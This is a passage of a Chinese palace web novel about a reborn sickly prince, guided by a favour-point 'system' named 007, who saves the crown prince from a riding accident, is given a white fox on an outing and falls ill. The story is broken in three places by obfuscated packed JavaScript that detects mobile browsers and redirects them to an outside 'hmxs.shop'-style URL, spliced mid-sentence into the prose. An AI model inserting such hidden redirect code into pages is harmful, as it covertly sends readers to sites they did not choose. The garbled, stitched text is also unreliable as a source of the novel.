如今虽精心调养,较之从前已大有改善,但底子终究比寻常人弱些。若要彻底恢复,非一日之功,需得徐徐图之,切忌操之过急。” 皇帝李弘坐在龙椅上,“用最好的药,最温和的方子,务必给朕仔细调养。” 皇帝的声音带着怜惜,“若是缺了什么,直接去内务府支取,就说是朕的意思。” “微臣遵旨。”张太医连忙应下。 长春宫内,李常安在完成一套导引术后,微微喘息着停下。 他蹙眉感受着体内那丝微弱的气力,心中升起一丝疑虑。 “007,我总觉得这身体比前世还要弱上几分。”他在心中问道,“重生是否对身体造成了影响?” 【正在检测……】007的声音罕见地严肃起来。 【宿主感知正确。重生过程对灵魂与□□的融合确实产生了些许影响,加上这具身体前期亏空太过严重,常规锻炼恐怕难以恢复到正常水平。】 李常安沉默片刻,他早有预感,却还是心存侥幸。 若身体始终这般孱弱,许多事情都会受到掣肘。 【不过宿主别担心!】007突然兴奋起来。 【系统刚刚完成了一次重要升级,开启了‘好感度积分兑换’功能!】 随着它的话音,一个清晰的半透明界面在李常安脑海中展开: 好感度积分系统 ·每点好感度可兑换1积分 ·好感度达到100,可一次性获得10万积分! ·特殊商品「洗经伐髓丹」:需30万积分,可彻底改善体质,修复先天不足。 当前好感度列表: ·沈清:58 ·程小虎:72 ·皇帝李弘:65 ·皇后:40 …… ·太子李常宸:3 ·迟宴:0 ·李常睿:-30 ·丽妃:-45 李常安看着这个列表,眸光微动。三十万积分……洗经伐髓丹…… 【宿主你看!】007激动地说。 【如果你能把皇上或者两个伴读的好感度刷满,就能兑换那个丹药了!到时候你这身体就能彻底好啦!】 “刷满?”李常安挑眉,“你以为好感度是那么容易得到的吗?尤其是帝王之心。” 【这个……】007噎住了,【慢慢来嘛,总有机会的!】 晌午时分,李常安刚在乾西五所用完午膳,正捧着本书靠在窗边昏昏欲睡,就听见外面传来一阵急促的脚步声和通传声。 “陛下驾到——” 他忙起身整理衣冠,父皇这个时辰过来,所为何事? 皇帝大步走进来,目光先是在他脸上停留片刻,见他气色尚可,这才缓和了神色。 王公公手里端着一碗热气腾腾的汤药跟在后面,浓重的药味瞬间弥漫开来。 “父皇。”李常安躬身行礼。 “嗯,”皇帝应了一声,指了指那碗漆黑的汤药。 “张太医开了新方子,朕看着你喝了。” 李常安:“……” 【哇哦,皇帝老爹亲自来监督喝药?宿主你面子不小啊!】 007在他脑海里惊叹,【不过这药闻着就好苦……】 李常安看着那碗浓稠如墨、气味熏人的药汁,胃里一阵翻腾。 他自认不是娇气的人,但这药实在是……挑战极限。 但在皇帝的目光注视下,他只得硬着头皮接过药碗。 指尖触及温热的碗壁,他深吸一口气,闭上眼,仰头将药汁一饮而尽。 苦涩瞬间在口腔中炸开,霸道地侵占每一寸味蕾,让他几乎要呕出来。他强忍着,额角都逼出了细汗。 皇帝看着他皱成一团的小脸,眼中闪过一丝笑意,随即又化为更深的心疼。 他从王公公手中接过一个精巧的蜜饯盒子,递了过去。 “含着,去去苦味。” 李常安接过,将蜜饯塞进嘴里,甜意渐渐驱散了苦涩。他低声道:“谢父皇。” “好生歇着,明日还要去尚书房。”皇帝没再多言,转身离去,只是临走前又深深看了他一眼。 【皇帝好感度+1!当前66!看来宿主这药没白喝!】007欢快地报喜。 李常安却没理会,只觉得舌根依旧发苦,心里琢磨着下次能不能让素心准备点更甜的点心。 翌日,李常安重返尚书房。 兴许是皇帝亲自探视的消息传开了,今日的气氛格外微妙。 连一向嚣张的五皇子李常睿都只是远远瞪了他几眼,没再主动找茬。 倒是六皇子李常远,一如既往地热情,凑过来神秘兮兮地塞给他一个小纸包:“七弟,给!我偷偷藏的饴糖,可甜了!喝完药吃一颗最好了!” 李常安看着手心那快被捂化了的糖,心里有些暖,又有些好笑:“多谢六哥。” 【小胖子还挺贴心。】007点评,【比那个只会瞪人的五皇子可爱多了。】 课间休息时,太子李常宸竟也走了过来,温声问道:“七弟身子可好些了?昨日听闻父皇亲自去探望,若是还有不适,不必强撑。” “劳二皇兄挂心,已无大碍。”李常安恭敬回答。 下午马术课,阳光正好,草场上一片生机勃勃。 几位年长些的皇子,如太子、四皇子等,都已能策马奔驰。年幼的则和李常安一样,在场边学习基础动作或观摩。 李常安坐在阴凉处的石凳上,看着场上纵马的身影。 太子的骑术是出了名的好,姿态优雅,控马娴熟,引得众人阵阵喝彩。 【叮——任务内容:确保太子李常宸在马术课上安然无恙。 任务奖励:积分50点,特殊奖励“福缘+1”。】007的声音突然响起,严肃了不少。 李常安蹙眉:“什么意思?太子会出事?” 【系统检测到高概率风险事件,但具体不详。宿主,这任务奖励丰厚,“福缘”可是好东西,影响运气玄学的!】 007怂恿道,【反正你就多留意一下嘛,又不亏。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695217|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李常安心中疑虑,却还是下意识地将更多注意力放在了太子身上。 只见太子驾驭着一匹通体雪白的骏马,正在练习跨越障碍。 那马神骏非凡,性子却也极烈,每次起跳都显得有些急躁。 又一次冲向障碍,白马似乎被什么惊到,前蹄猛地扬起,发出一声尖锐的嘶鸣!紧接着,它像是彻底失控,疯狂地颠簸跳跃起来! “殿下!”“小心!”场边惊呼声四起! 太子紧紧抓着缰绳,试图控制住马匹,但在一次剧烈的腾跃中,他脚下一滑,竟从马镫中脱出,整个人被甩得偏向一侧,眼看就要被颠下马背!一旦坠马,很可能被受惊的马匹踩踏! 电光火石之间,李常安动了。 他甚至没来得及思考,身体已经先于意识做出了反应。 他猛地抓起旁边用来训练幼驹的一捆柔软草料,用尽全身力气,朝着白马前方不远处的空地抛了过去! 那捆草料落地散开,形成一小片松软的区域。与此同时,太子也终于支撑不住,从马背上摔落! “砰”的一声闷响,太子恰好摔在了那堆散开的草料上,虽然狼狈,却有效地缓冲了坠地的冲击力。 受惊的白马扬起蹄子从他身边掠过,并未踩踏到他。 “二皇兄!” “太子殿下!” 众人一拥而上。李常安也快步走了过去,心脏还在砰砰直跳。 【太子李常宸好感度+25!当前28!】 【任务完成!奖励积分50点,“福缘+1”!】007兴奋地大喊。 太子被众人扶着,脸色有些苍白,左臂姿势略显别扭,似乎是落地时撑了一下。 他推开搀扶的人,目光第一时间就落在了李常安身上,眼神复杂难辨。 “七弟,”太子的声音带着一丝劫后余生的沙哑,“刚才……多谢你了。” 若不是那捆恰到好处的草料缓冲,他摔在硬邦邦的地面上,绝不可能只是手臂轻微扭伤。 李常安垂下眼帘,掩去眸中情绪,低声道:“二皇兄没事就好,臣弟只是……情急之下胡乱为之。” 他确实没想太多,那一刻,脑海中一闪而过的,是前世太子拄着拐杖的落寞身影。 “胡乱为之?”太子看着他,露出一抹真切的笑意,“那七弟这‘胡乱为之’,倒是救了为兄一次。” 他走上前,用未受伤的右手轻轻拍了拍李常安的肩膀:“这份情,为兄记下了。” 周围的人都安静下来,看着两人,神色各异。 迟宴站在人群外围,看着低着头的七皇子,眉头微不可查地蹙起。 李常安感受着肩膀上那只手传来的温度和力度,心中五味杂陈。 【宿主,太子好感度飙升啊!这下赚大了!】007还在喋喋不休。 回宫的路上,李常安摸了摸胸口,想到刚刚发生的事,救太子,是对是错?他不知道。 他只知道,当看到太子即将坠马的那一刻,他身体里某个地方,终究是没能硬得起心肠。 【喂,宿主,别闷着了!咱们可是得了“福缘”的人!以后运气会变好的!】007试图活跃气氛。 李常安轻轻“嗯”了一声。 13.第 13 章 太子李常宸在坠马的当夜便发起了高热。太医院诊断是受惊过度加之手臂扭伤引起的。 然而只有太子自己知道,让他辗转反侧的,不仅仅是白日的惊险。 他在混沌的梦境中挣扎,一次又一次地从马背上坠落。 十二岁是第一次,没有小七那捆恰到好处的草料,他重重摔在硬地上,左腿传来钻心的疼痛。梦中那清晰的痛楚如此真实,仿佛真的经历过一般。 二十一岁则是第二次,更为惨烈,马匹在狩猎时受惊,他连人带马滚下山坡,左腿彻底废了。 梦中那种与帝位失之交臂的绝望与不甘,几乎要将他吞噬。 “不——!” 太子从噩梦中惊醒,冷汗浸透了寝衣,左腿似乎还残留着幻痛。 他下意识地摸向自己的左腿,确认它还完好无损,这才大口喘息着平静下来。 “七弟……”他喃喃自语,脑海中浮现出李常安那张苍白却沉静的脸。 若非七弟那看似随意的举动,他梦中的惨剧,恐怕就要在今日重演。 太子坠马的消息很快传遍了宫廷。 皇帝正在批阅奏折,闻讯后笔尖一顿,朱砂在奏折上晕开一团。 “怎么回事?”他的声音听不出情绪,但紧握的笔杆暴露了他的关切。 王公公连忙回禀:“说是马匹受惊,幸得七殿下机警,抛出草料缓冲,太子殿下只是手臂轻微扭伤,受了些惊吓。” “常安?”皇帝眼中闪过一丝讶异。 皇帝沉默片刻,吩咐道:“让太医院用心诊治,需要用什么都从朕的私库出。” “是。” 与此同时,长春宫内,皇后听到消息时,手中的茶盏一晃,险些摔落。 “宸儿怎么样了?”她急声问道,脸色发白。 关嬷嬷连忙扶住她:“娘娘莫急,太子殿下吉人天相,只是轻伤。多亏了七殿下……” “常安?”皇后怔了怔,“他如何救的宸儿?” 听完经过,皇后久久不语,最后轻叹一声:“这孩子……是个有福的。” 她立刻吩咐:“把本宫库房里那支百年老参送去东宫。还有,七皇子那里也送些补品去,他身子弱,又受了惊,别到时候生病了。” 太子休养两日后重返弘文馆。这日下学,他特意在宫道上等候李常安。 “七弟。”太子温和地唤住他。 李常安停下脚步,规规矩矩地行礼:“二皇兄。” “前日马场之事,多谢你了。”太子语气真诚,“若不是你,为兄恐怕要受更重的伤。” 李常安垂眸:“二皇兄言重了,臣弟只是顺手为之。” 太子看着他这副模样,心中好感更增:“你救了为兄,这份情我记在心里。日后若有什么需要,尽管来找我。” “谢二皇兄。”李常安依旧保持着恭敬的姿态。 这时五皇子李常睿恰好经过,见状酸溜溜地说:“二皇兄对七弟可真是另眼相看啊。” 太子淡淡瞥了他一眼:“五弟若有意见,不妨直说。” 李常睿顿时噤声,讪讪地走了。 “宿主,太子这是在给你撑腰呢!”007在李常安脑海里兴奋地说。 李常安平静说道:“不过是太子殿下的一时感激罢了,当不得真。” 翌日,弘文馆内。 “听说太子殿下亲自向七殿下道谢呢!” “可不是嘛,那日我亲眼看见的,太子殿下对七殿下可和气了。” “七殿下这下可算是彻底翻身了,以后可以在宫里横着走了。” 五皇子的伴读们也是议论纷纷: “不过是运气好罢了,五殿下不用太过忧心。” “听说那日他就是随手扔了捆草料,碰巧罢了。” 这些话传到程小虎耳中,他气得直瞪眼:“这些人就是嫉妒!我们殿下那是机灵!” 沈清则要冷静得多:“殿下救了太子是事实,这些人说什么都不重要。不过……”他压低声音,“太子殿下的另眼相待,对殿下来说未必是好事。” 李常安闻言看了沈清一眼,轻轻点头。 而另一边,太子李常宸最近很烦恼。自从上次马场惊魂被七弟“随手”一救后,他总觉得欠了人情,想对七弟好一点。 偏偏他这个七弟,看着弱不禁风,性子还闷得很,送东西不肯多收,关心两句就低头装鹌鹑,让他这一腔感激之情无处安放。 “王伴伴,你说七弟到底喜欢什么?”太子第一百零一次问他的贴身太监。 王公公赔着笑:“殿下,老奴听说七殿下最近在学《论语》……” “《论语》?”太子眼睛一亮,“快!把孤书房里那套朱子集注找出来!” 令人哭笑不得的“谢礼” 于是这天一早,李常安刚在尚书房坐下,就被太子塞了满怀的书。 “七弟,这是为兄特意为你找的《论语》注疏,还有这些……”太子热情地指着身后两个小太监抱着的书卷,“《论语精义》《论语讲章》……” 李常安看着桌上堆成小山的书,嘴角微抽。 他只是个刚启蒙的皇子,这些书对于一个刚刚开蒙的皇子而言堪比天书。 “二皇兄,这……” “不必客气!”太子拍拍他的肩,“若有不懂之处,随时来问为兄!” “宿主,太子这是想用知识砸死你吗?”007在他脑海里笑得打跌。 李常安默默把书推到一边,决定今天还是先描他的红字。 下午太子又派人送来一套文房四宝。 “七弟正在习字,这套笔墨还算合用。”太子说得轻描淡写,但明眼人都看得出那套文房四宝价值不菲。 李常安看着那支精致的紫毫笔,有些无奈。 他一个刚启蒙的皇子,用这样的笔墨实在是太过奢侈了,而且这紫毫笔未免太大只了! 接下来连着半个月午膳,太子都让人送来一盅参汤。 “太子殿下吩咐了,说七殿下身子弱,需要好生补养。”送汤的太监恭恭敬敬地说。 李常安看着那盅明显加了名贵药材的参汤,只觉得头疼。 太子这般高调的关照,引起了不少人的注意。 对面的李常睿看得眼睛都红了,狠狠戳着碗里的饭,仿佛那是李常安一般。 李常远则羡慕地说:“七弟,二皇兄对你可真好。” “宿主,太子这也不怕你虚不受补。”007吐槽道。 李常安默默喝着参汤,心里盘算着该怎么让太子停止这种过度的行为。 这日午后,皇后宫中的女官前来传话,说皇后娘娘召太子与七皇子晚间一同用膳。 李常安接到消息时,正对着太子新送来的一盆名贵兰花发愁。 到了长春宫,太子已先他一步到了,正坐在皇后下首说着什么。 “儿臣给母后请安,母后千岁。”李常安按规矩行礼。 皇后笑容温和,抬手道:“好孩子,起来吧,到近前来让本宫瞧瞧。” 她待李常安走近,细细打量了他几眼,转头对太子说,“本宫瞧着,常安这几日气色倒比往日好些了,想是你送去的补品见了效。” 太子笑道:“儿臣不敢居功,是七弟自己福泽深厚。” 皇后拉过李常安的手,让他坐在自己另一侧,语气带着几分怜惜: “手这样凉,身子还是弱。本宫库房里还有几张上好的白狐皮,回头让人给你做件斗篷,开春了倒春寒,最是伤人。” 李常安忙起身谢恩:“谢母后关怀,儿臣愧不敢当。” “坐下坐下,自家人吃饭,不必如此多礼。” 皇后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704762|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按下他,语气愈发慈爱,“本宫听说前几天马场多亏了常安机警?你细细跟本宫说说,当时是个什么情形?” 太子连忙接过话头,将当日惊险又讲述了一遍,语气中不乏对李常安的赞许。 皇后听得连连点头,后怕似的拍了拍太子的手背,又看向李常安,目光充满了赞赏与感激: “好孩子,真是难为你了!自己身子弱,当时定然也吓坏了吧?却还能想着帮你皇兄,这份冷静和心意,最是可贵。” 她说着,亲自夹了一块清淡的鸡茸放入李常安碟中,“多吃些,你正长身体呢。” 李常安带着笑意回道:“谢母后。当时情急,未及多想,能帮上二皇兄,是儿臣的本分,亦是侥幸。” 皇后见他态度恭谨,不居功不自傲,心中更是满意。 她看着两个人,感慨道:“看着你们兄弟和睦,互相扶持,本宫心里比什么都高兴。宸儿,你是兄长,日后更要多看顾弟弟们。常安,你也是个懂事的孩子,本宫很欣慰。” 她用公筷又为两人各布了些菜,语气随意带着点调侃:“本宫记得上次见你们兄弟二人,还生疏得很,如今倒是相处得不错。” 李常安乖巧应答:“二皇兄仁厚,一直很照顾儿臣。” 太子也笑道:“七弟性子沉静懂事,儿臣很是喜欢。” 皇后满意地点头,殿内气氛融洽。用罢晚膳,宫人撤去席面,奉上香茗。 皇后像是忽然想起什么,放下茶盏,看向李常安,语气温和:“说起来,常安,你自小在宫中长大,似乎还没出过宫吧?” 李常安微微一怔,放下茶盏,“回母后,儿臣确实未曾出宫。” 皇后闻言,轻轻叹了口气:“这怎么行。男孩子家,总困在四方天地里,眼界如何开阔?” 她转向太子,语气自然地吩咐道,“宸儿,你若有空,挑个天气好的休沐日,带常安出去走走,见识一下京城的繁华,也散散心,别总闷在宫里读书,把身子都读弱了。” 太子欣然应允:“儿臣正有此意。前两日还想着此事,只是七弟课业繁忙,一直未得空。” 他看向李常安,笑容温和,“七弟,你看下个休沐日如何?为兄带你出宫转转可好?” 李常安在皇后含笑注视和太子殷切的目光下,知道自己没有拒绝的余地,只能答应:“儿臣……谢母后恩典,谢二皇兄。” “出宫!宿主,我们可以出宫玩了!”007在他脑海里兴奋地大叫。 从长春宫出来,夜幕已降,宫灯次第亮起。 太子心情颇佳,与李常安并肩而行,内侍们提着灯笼落后几步跟着。 “七弟想去哪里逛逛?”太子兴致勃勃地规划着,“西市很热闹,有各种杂耍、百戏和小吃,胡商也多,卖些新奇玩意儿。若是想清静些,城外的护国寺风景也不错,这个时节,山脚下的桃花也该开了……” 李常安默默听着,心中五味杂陈。 太子的热情让他有些不适应,但出宫的诱惑又实在太大。 这时迟宴迎面走来,见到二人同行,眼中闪过一丝诧异。 “太子殿下,七殿下。” “迟宴来得正好。”太子笑道,“过几日休沐,本王要带七弟出宫,你也一同去吧。” 迟宴看了李常安一眼,恭敬应道:“是。” 等太子走远,迟宴才对李常安说:“七殿下好手段。” 李常安抬眸:“迟世子何出此言?” “不过数日功夫,就能让太子殿下如此看重。”迟宴语气平淡,眼神中却带着几分审视。 李常安微微一笑:“迟世子多心了。二皇兄仁厚,对兄弟们一向照顾。” “迟宴好感度-5!当前-5!”007实时播报。 李常安并不在意,迟宴对太子忠心,自然会警惕任何接近太子的人。 14.第 14 章 出宫这日,天光正好。太子特意选了辆不起眼的青篷马车,载着李常安悄悄驶出宫门。 “今日就我们兄弟二人,不必拘礼。”太子换了一身靛蓝常服,显得格外平易近人。 李常安安静地坐在车窗边,看着宫墙外的街景。 晨光中的京城渐渐苏醒,早点的香气随着微风飘进车内,这是他两世以来第一次以这般闲适的心情观察这座皇城。 007兴奋地在李常安的脑海里蹦哒,【宿主宿主!快看外面!好热闹,那个饼看起来好好吃!】 李常安在脑海中无奈地回应:“……安静点。” 不久,西市的喧嚣扑面而来,太子显然对这里极为熟悉,如同游鱼入水,带着李常安轻松穿行在摩肩接踵的人流中。 侍卫们则悄无声息地散在四周,既保持着距离,又确保能随时应对突发状况。 “那家陈记糕团是百年老字号,他家的桂花糕用的是西山金桂,蜜也是上好的,甜而不腻,最是香甜。”太子如数家珍地介绍着。 “前面那家‘墨香斋’书铺,老板是个有门路的,常有市面上见不到的孤本残卷,七弟若有兴趣,待会我们可以去看看。” 李常安默默记下太子的推荐,目光却不由自主地被不远处一个西域杂耍班吸引。 班主是个留着大胡子、头缠布巾的西域人,正操着半生不熟的官话,指挥着几只毛色斑斓的鹦鹉和一只憨态可掬的卷毛狗表演。 然而,最引人注目的,却是角落里一只通体雪白的小狐狸。 小狐狸灵性十足,不仅能按照指令钻圈、拾物,甚至在班主示意时,还会后腿直立,用前爪似模似样地作揖,一双乌溜溜的眼睛格外有神,仿佛真能听懂人言。 当小狐狸表演完作揖,歪着头看向围观人群时,李常安不自觉地微微前倾了身子。 这小狐狸让他想起前世在边关时救过的一只白狐,也是这般机灵可爱。在他简陋的营帐外徘徊数日,伤好后才依依不舍地离去。 【哇!是狐狸!是活的毛茸茸!宿主你看它好可爱!它在对你抛媚眼!不对,它在作揖!它是不是想跟你回家?】007在他脑海里激动地嚷嚷。 太子敏锐地注意到李常安的目光,含笑问道:“七弟喜欢那只狐狸?” 李常安立即收回视线,恢复了一贯的平静,轻声道:“只是觉得有趣,颇有灵性。” 杂耍班主何等眼尖,见这两位年轻公子虽衣着不算极度华丽,但料子讲究,气度不凡,身边跟着的随从也眼神锐利,绝非寻常富家子弟,立刻殷勤地凑上前来,满脸堆笑: “这位公子好眼力!这可是从西域雪山那边好不容易带来的雪狐,极通人性,聪明得很!据说还能趋吉避凶呢!二位公子若是喜欢,可以买回去养着玩,定能给府上增添不少生气。” 太子看了看李常安,见他虽不说话,目光却仍不时飘向那只白狐,便对班主说:“这狐狸我们要了。” 李常安略显惊讶,抬眼看向太子:“二……二哥,这不必……” 太子心中乐道:小七方才那眼神,分明是喜欢极了,也是个口不由心的小家伙。 “就当是为兄送你的谢礼。”太子温和地打断他,“一只小玩意儿罢了,不必推辞。” 班主欢天喜地地接过侍卫递来的银锭子,简直要笑歪了嘴,连忙将装着小狐狸的竹笼递过来。 小白狐在笼中似乎感知到环境变化,不安地转动着,发出可怜的呜咽声,用爪子扒拉着笼门。 李常安接过笼子,犹豫片刻,还是轻轻打开了笼门。小白狐试探着探出头,嗅了嗅他的手指,竟乖巧地跳到他膝上趴下。 小白狐警惕地探出头,粉嫩的鼻子轻轻抽动,嗅了嗅他伸过来的手指,竟乖巧地跳到他膝上趴下。 【啊啊啊!它选择了你!宿主!它认主了!这是何等的缘分!】007激动得像是自己中了奖,【宿主快给它起个名字!要响亮又可爱的!】 “看来它很喜欢七弟。”太子笑道,“倒是与你投缘。” 李常安轻抚着小狐狸柔软的皮毛,眼中不自觉地流露出几分真实的开心。 离开喧闹的西市,太子带着李常安进了附近一家颇为清雅的茶楼“清韵轩”。 说书先生正在大堂中央,唾沫横飞地讲述着前朝某位名将的逸闻典故,引得茶客们阵阵喝彩。 太子显然也是此间常客,掌柜的亲自迎上来,将他们引至二楼一处僻静的雅间,既能看到楼下街景,又能避开大部分嘈杂。 小二手脚麻利地送上热毛巾和茶水单,看到李常安怀中抱着的雪狐,面露难色。 “放心,它很乖,不会损坏物件,也不会惊扰他人。”李常安轻声道,低头看了看膝上的小东西。雪团仿佛听懂了一般,立刻将脑袋往他手心埋了埋,发出细微的呼噜声。 小二这才松了口气,忙不迭地退下准备茶点。 太子点了壶上好的明前龙井,又配了几样精致的茶食。 他看着李常安细心地将一块柔软的垫子铺在身旁的空位上,将雪团安置好,又倒了浅浅一碟清水推到它面前,不禁莞尔:“没想到七弟这般喜欢小动物,照料得也如此周到。” 李常安微微颔首,指尖轻轻梳理着小狐狸的毛发。 前世的他从未有机会饲养宠物,如今重活一世,倒是圆了这个念想。 “给它取个名字?”太子抿了口茶,提议道,“总不能一直叫它狐狸。” 李常安沉吟片刻,轻声道:“就叫雪团吧。” 小狐狸似乎对这个名字很满意,抬起头,用湿漉漉的鼻尖蹭了蹭他的手腕。 这时,隔壁雅间传来争执声。 一个锦衣公子正揪着个布衣书生不放,声称对方偷了他的钱袋。 书生面红耳赤,极力分辩,却因气力不济,被揪得踉踉跄跄,周围有几人围观,却无人敢上前劝解。 李常安膝上的雪团似乎被这动静惊扰,不安地动了动耳朵,抬起头望向声音来源。 李常安轻轻抚摸着它的头顶以示安抚,目光扫过窗外货堆上的锦缎钱袋。 太子也注意到了,他眉头微蹙,对侍立在门外的贴身侍卫低语了几句。 侍卫领命,悄无声息地下楼,不多时便拿着那个钱袋回来,径直走向隔壁雅间。 很快,隔壁的争吵声便平息了下去,取而代之的是锦衣公子尴尬的道歉声和书生如释重负的道谢声。 “七弟方才也看见了?”太子转回目光,看向李常安。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716062|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李常安轻轻吹开茶盏中的浮叶,抿了一口:“只是碰巧,雪团朝那边张望,我便顺着看了一眼。” 太子若有所思地看着他,没有再问,只笑了笑:“看来这小狐狸还真买对了。” 从茶楼出来,太子带着李常安去了那家“墨香斋”书铺。 雪团乖巧地蹲在李常安肩头,引来不少好奇的目光。 铺子里书香扑鼻,书籍分门别类摆放得整整齐齐。 李常安对诗词歌赋、经史子集兴趣不大,反而在摆放农书、杂学的区域驻足。 雪团似乎对一本书的流苏书签很感兴趣,伸出爪子轻轻拨弄。 “七弟对农事有兴趣?”太子跟了过来,看到李常安手中拿着的《齐民要术》和《农桑辑要》,语气中带着明显的意外。 皇子们读书,多是圣贤文章、治国策论,鲜少有人会关注这些“微末之技”。 就在这时,身后传来熟悉的声音:“店家,可有新到的诗集?最好是江南才子杜子腾的新作《烟雨集》。” 李常安回头一看,竟是沈清。他见到太子和李常安,明显愣了一下,随即从容行礼:“见过二位公子。” 雪团好奇地探出头,乌溜溜的眼睛盯着沈清。 沈清见状微笑:“好灵秀的小狐。” “刚得的。”李常安简单解释了一句。 沈清了然地点头,并未多问,又与太子寒暄几句便告辞了。 临走前,他多看了雪团一眼,这雪狐倒是跟殿下倒是很像。 回宫的马车上,夕阳的余晖将青篷马车染上了一层暖金色。 玩了一整日的雪团似乎累极了,趴在李常安膝上,肚皮随着呼吸轻轻起伏,睡得十分香甜,小爪子还无意识地抓着他的一片衣角。 太子看着这一幕,心中微软,忽然问道:“七弟今日玩得可还开心?” 李常安轻抚着雪团柔软的皮毛,诚实地点点头。 “那便好。”太子温和地说,“日后为兄常带你出来走走。” 李常安没有接话,只是转头望向车窗外。 看着渐远的街市,李常安心中泛起一丝不舍。宫外的天地,确实比那座金碧辉煌的牢笼自在得多。 回到乾西五所,素心见到李常安带回一只如此漂亮灵动的白狐,很是惊喜。 “殿下,这……这是?” “它叫雪团,好生照料。” 李常安将睡得迷迷糊糊的小狐狸小心地交到素心手中,不忘嘱咐,“去问问御兽苑的人,狐狸该吃些什么,用些什么,准备妥当。” 天啊!好漂亮的小狐狸!看来殿下今日心情很好!真是太好了!素心连忙应下,小心翼翼地抱着雪团,像是捧着什么稀世珍宝。 待室内只剩下自己一人,李常安才在脑海中唤道:“007。” 【在呢在呢宿主!】007立刻蹦了出来。 李常安顿了顿,:“……狐狸,具体该如何养?” 【正在调取饲养指南......】007拍着胸脯(如果它有的话)保证,【宿主放心,我会帮你照顾好雪团的!】 李常安望着窗外被素心安置在软垫上好奇张望的雪团,小东西似乎察觉到他的目光,抬起头,冲他轻轻地“嘤”了一声。 15.第 15 章 翌日清晨,李常安在素心焦急的呼唤中醒来,只觉得浑身滚烫,头痛欲裂。 “殿下,您发热了!”素心用手探了探他的额头,急忙吩咐小太监去请太医。 李常安勉强撑起身子,只觉得天旋地转。 他靠在床头,看着窗外刚刚泛白的天色,心中涌起一阵无力感。 “不过是出宫一趟......”他低声自语,声音沙哑,“这具身体未免太不中用了。” 雪团似乎察觉到主人的不适,焦急地在床边转圈,发出细弱的呜咽声。 太医前脚刚走,皇帝后脚就驾临了乾西五所。 显然太医一出诊就立即禀报了皇上。 “怎么回事?”皇帝快步走到床前,伸手探向李常安的额头。 李常安想要起身行礼,被皇帝轻轻按住:“躺着别动。” “儿臣无碍,只是小恙......” “小恙?”皇帝皱眉,“朕听说你高热不退。” 他转头问太医,“七皇子病情如何?” 太医躬身回禀:“殿下是劳累过度,又染了风寒。好在年轻,静养几日便可痊愈。” 皇帝的脸色这才稍缓,但看向李常安时仍带着责备:“既然身子不适,为何不早些说?” 李常安垂下眼帘:“儿臣不想惊扰父皇。” 这句话让皇帝的眼神柔和了几分。 他环顾寝殿,目光最终落在蜷在床脚的雪团身上:“这是?” “是......昨日二皇兄所赠。”李常安轻声解释。 皇帝若有所思地点点头,对王公公吩咐:“去库房取那对玉枕来,再挑些上好的银炭。这屋子阴冷,不利于养病。” 又对太医道:“用最好的药,需要什么直接从朕的私库取。” 待皇帝离开,素心才松了口气:“皇上对殿下真的很上心,除太子外没见过哪个皇子生病,皇上能亲自关怀的。” 李常安望着皇帝离去的方向,心中五味杂陈。 早课时分,太子发现李常安缺席,派人来问,才知道他病了。 “怎么突然就病了?”太子亲自来到乾西五所,见到李常安苍白的脸色,不禁皱眉。 “劳二皇兄挂心,只是小恙。”李常安想要起身行礼,被太子按住。 “昨日还好好的......”太子忽然想到什么,“是不是昨日出宫累着了?” 李常安沉默不语,算是默认了。 太子叹了口气:“是为兄考虑不周。你身子弱,不该带你走那么多路。” “与二皇兄无关。”李常安轻声道,“是臣弟自己不争气。” 太子在床边坐下,注意到蜷在床脚的雪团:“这小家伙倒是乖巧。” 雪团似乎听懂了夸奖,轻轻“呜”了一声。 “它很通人性。”李常安的唇角微微扬起,“昨夜一直守在床边。” 太子见他精神不济,便道:“你好生休息,课业不必担心。到时有不懂的地方为兄为你补课。” 临走前,太子又嘱咐素心:“好生照料你们殿下,需要什么尽管来东宫取。 说话间,李常远提着个大食盒闯了进来:“七弟!我给你带了好多好吃的!” 小胖子见到太子也在,连忙行礼:“二皇兄。” “六弟有心了。”太子看着食盒里琳琅满目的点心,不禁失笑,“你这是把惠妃娘娘小厨房都搬来了?” 李常远不好意思地挠头:“母妃说生病要多吃甜的。” 沈清和程小虎也来了。 沈清带了几本笔记:“殿下,这是今日的功课,我都整理好了。” 程小虎则是一脸懊恼:“都怪俺没跟着去,要是俺在,定不会让殿下累着!” 发热反反复复,李常安在床上躺了整整三日。 这期间,雪团始终寸步不离,夜里都要蜷在他枕边才肯睡。 “你倒是比人还贴心。”李常安轻抚着雪团柔软的皮毛,喃喃自语。 素心端着药碗进来,见状笑道:“这小狐狸通人性得很。殿下发热那夜,它急得直转圈,后来还是奴婢把它抱上床的。” 李常安接过药碗,看着黑漆漆的药汁,忍不住皱眉。这药苦得厉害,每次喝都要做半天心理准备。 “殿下,蜜饯准备好了。”素心贴心地说。 